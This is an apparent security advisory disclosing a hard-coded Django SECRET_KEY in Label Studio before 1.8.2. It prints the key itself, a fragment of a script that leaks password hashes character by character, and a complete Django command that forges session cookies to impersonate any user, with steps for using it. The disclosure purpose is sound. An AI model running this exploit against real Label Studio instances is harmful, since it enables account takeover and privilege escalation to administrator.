def main(): configdict = setup() # By default Label Studio password hashes start with these characters knownhash = "pbkdf2sha256$260000$" print() print(f"dumped: {knownhash}", end="") sys.stdout.flush()
while True: found = False
for c in CHARS: r = testchar(configdict, knownhash, c) if not r is None: newhash, c = r knownhash = newhash print(c, end="") sys.stdout.flush() found = True break
if not found: break
print()
if name == "main": main()
Introduction
This write-up describes a vulnerability found in Label Studio, a popular open source data labeling tool. The vulnerability was found to affect versions before 1.8.2, where a patch was introduced.
Overview
In Label Studio version 1.8.1, a hard coded Django SECRETKEY was set in the application settings. The Django SECRETKEY is used for signing session tokens by the web application framework, and should never be shared with unauthorised parties.
However, the Django framework inserts a authuserhash claim in the session token that is a HMAC hash of the account's password hash. That claim would normally prevent forging a valid Django session token without knowing the password hash of the account. However, any authenticated user can exploit an Object Relational Mapper (ORM) Leak vulnerability in Label Studio to leak the password hash of any account on the platform, which is reported as a separate vulnerability. An attacker can exploit the ORM Leak vulnerability (which was patched in 1.9.2post0) and forge session tokens for all users on Label Studio using the hard coded SECRETKEY.
Description
Below is the code snippet of the Django settings file at labelstudio/core/settings/base.py.
python SECURITY WARNING: keep the secret key used in production secret! SECRETKEY = '$(fefwefwef13;LFK{P!)@#!)kdsjfWF2l+i5e3t(8a1n'
This secret is hard coded across all instances of Label Studio.
Proof of Concept
Below are the steps that an attacker could do to forge a session token of any account on Label Studio:
1. Exploit the ORM Leak vulnerability (patched in 1.9.2post0) in Label Studio to retrieve the full password hash that will be impersonated. For this example, a session token will be forged for an account with the email ghostccamm@testvm.local with the password hash pbkdf2sha256$260000$KKeew1othBwMKk2QudmEgb$ALiopdBpWMwMDD628xeE1Ie7YSsKxdXdvWfo/PvVXvw= that was retrieved.
2. Create a new Django project with an empty application. In cookieforge/cookieforge/settings.py set the SECRETKEY to $(fefwefwef13;LFK{P!)@#!)kdsjfWF2l+i5e3t(8a1n. Create a management command with the following code that will be used to create forged session tokens.
python from typing import Any from django.core.management.base import BaseCommand, CommandParser from django.core import signing from django.utils.crypto import saltedhmac from django.conf import settings import time, uuid
class Command(BaseCommand): help = "Forge a users session cookie on Label Studio"
def addarguments(self, parser: CommandParser) -> None: parser.addargument( '-o', '--organisation', help='Organisation ID to access', default=1, type=int )
parser.addargument( 'userid', help='The User ID of the victim you want to impersonate', type=str )
parser.addargument( 'userhash', help='The password hash the user you want to impersonate' )
def handle(self, args: Any, options: Any) -> str | None: key = settings.SECRETKEY # Creates the authuserhash HMAC of the victim's password hash authuserhash = saltedhmac( 'django.contrib.auth.models.AbstractBaseUser.getsessionauthhash', options['userhash'], secret=key, algorithm="sha256" ).hexdigest()
sessiondict = { 'uid': str(uuid.uuid4()), 'organizationpk': options['organisation'], 'nextpage': '/projects/', 'lastlogin': time.time(), 'authuserid': options['userid'], 'authuserbackend': 'django.contrib.auth.backends.ModelBackend', 'authuserhash': authuserhash, 'keepmeloggedin': True, 'sessionexpiry': 600 }
# Creates a forged session token sessiontoken = signing.dumps( sessiondict, key=key, salt="django.contrib.sessions.backends.signedcookies", compress=True )
self.stdout.write( self.style.SUCCESS(f"session token: {sessiontoken}") )
3. Next run the following command replacing the {userid} with the user ID of the account you want to the impersonate and {userhash} with the victim's password hash. Copy the session token that is printed.
python python3 manage.py forgecookie {userid} '{userhash}'
4. Change the sessionid cookie on the browser and refresh the page. Observe being authenticated as the victim user.
Impact
This vulnerability can be chained with the ORM Leak vulnerability (which was patched in 1.9.2post0) in Label Studio to impersonate any account on Label Studio. An attacker could exploit these vulnerabilities to escalate their privileges from a low privilege user to a Django Super Administrator user.
Remediation Advice
It is important to note that the hard coded SECRETKEY has already been removed in Label Studio versions >=1.8.2. However, there has not been any public disclosure about the use of the hard coded secret key and users have not been informed about the security vulnerability.
We recommend that Human Signal to release a public disclosure about the hard coded SECRETKEY to encourage users to patch to a version >=1.8.2 to mitigate the likelihood of an attacker exploiting these vulnerabilities to impersonate all accounts on the platform.
Discovered - August 2023, Robert Schuh, @robbilie - August 2023, Alex Brown, elttam